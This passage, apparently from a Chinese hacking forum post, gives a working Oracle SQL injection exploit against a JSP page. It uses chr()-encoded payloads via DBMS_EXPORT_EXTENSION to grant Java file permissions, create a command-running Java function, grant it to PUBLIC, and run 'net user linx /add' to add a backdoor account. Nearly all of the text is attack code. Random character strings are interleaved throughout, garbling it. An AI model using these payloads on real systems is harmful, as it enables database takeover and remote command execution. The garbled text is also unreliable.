! X6 L3 `! @* m% ^* A& W! j% Gchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||% V" d0 X$ ^. F) F9 U' L* E5 W
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
8 j2 p6 M l( Rchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||* C! i$ o) P: v4 ~* ~
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||+ L6 l8 o1 C, E1 g( ~
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)# I, m8 C" w3 K( D( G( O, ~. \
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual R1 I! g. S+ Z
6 J) S- s$ W u( t1 P5 u)
5 }7 w' `4 f' `1 D N
7 h* V0 A) C2 c9 w! C q------------------------------
. J% H; }( ]# u5 x3 E$ y4 N7 s/ [4 R: X/ }+ V) n1 D
2.赋Java权限
& L- f, G# D( G, I% P* ?5 H/xxx.jsp?id=1 and chr(49)<>chr(50)||(
7 X, `3 a* `/ M' b; f$ V s, t
( `9 R' T+ Z: a; x" q2 Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& I1 Y9 K* u1 a+ K' C
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||! j" O" H( l0 r; k5 @7 d1 K! X) _
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# O; K. D$ N) L. A& `, Achr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||) H1 `, _, W: ]. h5 A; W
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
3 E* q9 [, G5 ?3 U. L9 ?chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||/ L- N) E0 {: V$ n9 J" k
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
) O! o1 j6 W7 `3 S% b0 hchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||6 ~) y8 N- z/ J8 t4 a
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
$ h- R0 G" I O( y5 L; _chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
R9 M+ i$ S2 a,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
" ]8 l6 Z3 o" ~ @' Q+ p: f. k2 M9 y `3 \
)9 S! z' b( x) g( i: G x
2 o9 ]. n4 d$ i: h* \, @; h
readfile函数的ascii版就不写了,见谅。
2 f) ~7 b/ m0 J O
9 A/ N5 a2 V% {, d6 L6 P' B3.创建函数0 n! U( r7 H1 s) U
. r9 L/ _1 I, j0 q& z/ a2 [4 B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),) ]5 {( n! K0 s3 L- @; \
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||* |* S {0 M* _4 J
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
6 K+ _( J4 [+ Z+ o0 a* n& echr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
" C, b, ~( ]; b( p& H! O- dchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||5 h( h% K" o6 {) O' v+ d% A" w
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||6 f( z5 l& v5 W; W' u+ W) [
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
" W; ] z$ I/ D! i& u# K5 d8 e3 Kchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||3 n, a( X+ f! A6 @0 u! O
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||! U6 D& |$ e- W) F+ W
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
# ~$ W) l( o$ C& Q3 O" Bchr(59)||chr(45)||chr(45)
3 m& G4 X' R) G% \,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 G1 X v! K; @' L. w7 g; A O0 g
/ @* X; t( h6 G% A
+ a- r( }# H$ E3 g) |/ W
7 ]6 H% f3 h5 H$ H4 y* ^4.赋public执行函数的权限
$ |3 f) ~* ~0 x; }. _1 O# _
. {9 h% x& H( J8 J9 k* ^ U4 l) Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, e" G# o6 `( hchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
$ n2 d, B8 F# gchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
6 t% G- a% O7 J; M0 i d% m) E1 Jchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ i) S7 q4 W R- p- {' zchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
3 e: ?& J) M3 h7 Z" @ Kchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
# ?, d* o) _2 m& T8 schr(59)||chr(45)||chr(45)
% s5 \1 ]3 a; i `+ r( Z,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. x1 g( H( |* g% k3 w
6 Y5 Z' k0 w- U" i. n( `( Z, @4 y- A: J |$ U7 G( E! m
+ Z5 |! ]- K& y+ o
5.执行命令:9 W4 j" R! P6 H8 z. W, j, b, u
- H+ o) N4 k+ i3 K: X | p
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
& |* `7 I. A) rselect sys.LinxRunCMD('cmd /c net user linx /add') from dual1 J' @8 D) G8 G1 f
)
! h. {3 b/ ?- x, ]+ L' {. i
0 ]) J9 T0 j! @: A即% g q+ c6 D; o5 b
/xxx.jsp?id=1 and chr(49)<>chr(32)||(, ^- k! ]+ M1 a3 W( Z$ ~! V
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual! e0 @' {# E/ G
)
% C* c" f) X) I/ b |